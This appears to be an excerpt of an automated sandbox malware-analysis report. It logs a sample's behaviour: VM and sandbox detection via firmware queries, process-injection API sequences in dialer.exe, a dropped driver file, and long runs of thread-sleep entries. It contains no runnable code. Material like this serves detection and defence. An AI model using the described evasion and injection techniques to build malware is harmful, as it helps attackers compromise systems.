Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,

41_2_00000001400010C0

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Windows\System32\dialer.exe	System information queried: FirmwareTableInformation

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6673	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1172	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7979	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 5536
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 4463
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9346
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 616
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 732
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8037
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 9251
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 739
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9868
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1267
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1189
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1135
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1100
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1026
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 994
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 817
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 831
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 827
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 835
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 793
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 795
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 802
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 769
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 778
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 715
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 706
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 707
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 717
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 633
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 677
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 638
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 633
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 661
Source: C:\Windows\System32\spoolsv.exe	Window / User API: threadDelayed 528
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 513
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 540
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 501
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 492
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 475

Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe

Dropped PE file which has not been started: C:\Windows\Temp\sidneyeifgjd.sys

Jump to dropped file

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_41-480

Source: C:\Windows\System32\dialer.exe

API coverage: 0.9 %

Source: C:\Windows\System32\svchost.exe TID: 3600	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4596	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5824	Thread sleep count: 6673 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5824	Thread sleep count: 1172 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6380	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5860	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6608	Thread sleep count: 330 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6608	Thread sleep count: 7979 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6640	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 2972	Thread sleep count: 5536 > 30
Source: C:\Windows\System32\winlogon.exe TID: 2972	Thread sleep time: -5536000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 2972	Thread sleep count: 4463 > 30
Source: C:\Windows\System32\winlogon.exe TID: 2972	Thread sleep time: -4463000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 6616	Thread sleep count: 9346 > 30
Source: C:\Windows\System32\lsass.exe TID: 6616	Thread sleep time: -9346000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 6616	Thread sleep count: 616 > 30
Source: C:\Windows\System32\lsass.exe TID: 6616	Thread sleep time: -616000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6576	Thread sleep count: 732 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6576	Thread sleep count: 8037 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6644	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6636	Thread sleep count: 9251 > 30
Source: C:\Windows\System32\svchost.exe TID: 6636	Thread sleep time: -9251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6636	Thread sleep count: 739 > 30
Source: C:\Windows\System32\svchost.exe TID: 6636	Thread sleep time: -739000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 2212	Thread sleep count: 9868 > 30
Source: C:\Windows\System32\dwm.exe TID: 2212	Thread sleep time: -9868000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7140	Thread sleep count: 1267 > 30
Source: C:\Windows\System32\svchost.exe TID: 7140	Thread sleep time: -1267000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1640	Thread sleep count: 1189 > 30
Source: C:\Windows\System32\svchost.exe TID: 1640	Thread sleep time: -1189000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6452	Thread sleep count: 1135 > 30
Source: C:\Windows\System32\svchost.exe TID: 6452	Thread sleep time: -1135000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6460	Thread sleep count: 1100 > 30
Source: C:\Windows\System32\svchost.exe TID: 6460	Thread sleep time: -1100000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7104	Thread sleep count: 1026 > 30
Source: C:\Windows\System32\svchost.exe TID: 7104	Thread sleep time: -1026000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6440	Thread sleep count: 994 > 30
Source: C:\Windows\System32\svchost.exe TID: 6440	Thread sleep time: -994000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1996	Thread sleep count: 817 > 30
Source: C:\Windows\System32\svchost.exe TID: 1996	Thread sleep time: -817000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3904	Thread sleep count: 831 > 30
Source: C:\Windows\System32\svchost.exe TID: 3904	Thread sleep time: -831000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3228	Thread sleep count: 827 > 30
Source: C:\Windows\System32\svchost.exe TID: 3228	Thread sleep time: -827000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5708	Thread sleep count: 835 > 30
Source: C:\Windows\System32\svchost.exe TID: 5708	Thread sleep time: -835000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5428	Thread sleep count: 793 > 30
Source: C:\Windows\System32\svchost.exe TID: 5428	Thread sleep time: -793000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3192	Thread sleep count: 795 > 30
Source: C:\Windows\System32\svchost.exe TID: 3192	Thread sleep time: -795000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1904	Thread sleep count: 802 > 30
Source: C:\Windows\System32\svchost.exe TID: 1904	Thread sleep time: -802000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1944	Thread sleep count: 769 > 30
Source: C:\Windows\System32\svchost.exe TID: 1944	Thread sleep time: -769000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2424	Thread sleep count: 778 > 30
Source: C:\Windows\System32\svchost.exe TID: 2424	Thread sleep time: -778000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1868	Thread sleep count: 715 > 30
Source: C:\Windows\System32\svchost.exe TID: 1868	Thread sleep time: -715000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5860	Thread sleep count: 706 > 30
Source: C:\Windows\System32\svchost.exe TID: 5860	Thread sleep time: -706000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5824	Thread sleep count: 707 > 30
Source: C:\Windows\System32\svchost.exe TID: 5824	Thread sleep time: -707000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2504	Thread sleep count: 717 > 30
Source: C:\Windows\System32\svchost.exe TID: 2504	Thread sleep time: -717000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2120	Thread sleep count: 633 > 30
Source: C:\Windows\System32\svchost.exe TID: 2120	Thread sleep time: -633000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2268	Thread sleep count: 677 > 30
Source: C:\Windows\System32\svchost.exe TID: 2268	Thread sleep time: -677000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2060	Thread sleep count: 638 > 30
Source: C:\Windows\System32\svchost.exe TID: 2060	Thread sleep time: -638000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2196	Thread sleep count: 633 > 30
Source: C:\Windows\System32\svchost.exe TID: 2196	Thread sleep time: -633000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2132	Thread sleep count: 661 > 30
Source: C:\Windows\System32\svchost.exe TID: 2132	Thread sleep time: -661000s >= -30000s
Source: C:\Windows\System32\spoolsv.exe TID: 2076	Thread sleep count: 528 > 30
Source: C:\Windows\System32\spoolsv.exe TID: 2076	Thread sleep time: -528000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2272	Thread sleep count: 513 > 30
Source: C:\Windows\System32\svchost.exe TID: 2272	Thread sleep time: -513000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5388	Thread sleep count: 540 > 30
Source: C:\Windows\System32\svchost.exe TID: 5388	Thread sleep time: -540000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6436	Thread sleep count: 501 > 30
Source: C:\Windows\System32\svchost.exe TID: 6436	Thread sleep time: -501000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4180	Thread sleep count: 492 > 30
Source: C:\Windows\System32\svchost.exe TID: 4180	Thread sleep time: -492000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2280	Thread sleep count: 475 > 30
Source: C:\Windows\System32\svchost.exe TID: 2280	Thread sleep time: -475000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4612	Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 4612	Thread sleep time: -241000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3068	Thread sleep count: 317 > 30
Source: C:\Windows\System32\svchost.exe TID: 3068	Thread sleep time: -317000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3652	Thread sleep count: 279 > 30
Source: C:\Windows\System32\svchost.exe TID: 3652	Thread sleep time: -279000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2228	Thread sleep count: 276 > 30
Source: C:\Windows\System32\svchost.exe TID: 2228	Thread sleep time: -276000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4684	Thread sleep count: 84 > 30
Source: C:\Windows\System32\svchost.exe TID: 4684	Thread sleep time: -84000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2840	Thread sleep count: 83 > 30
Source: C:\Windows\System32\svchost.exe TID: 2840	Thread sleep time: -83000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 980	Thread sleep count: 79 > 30
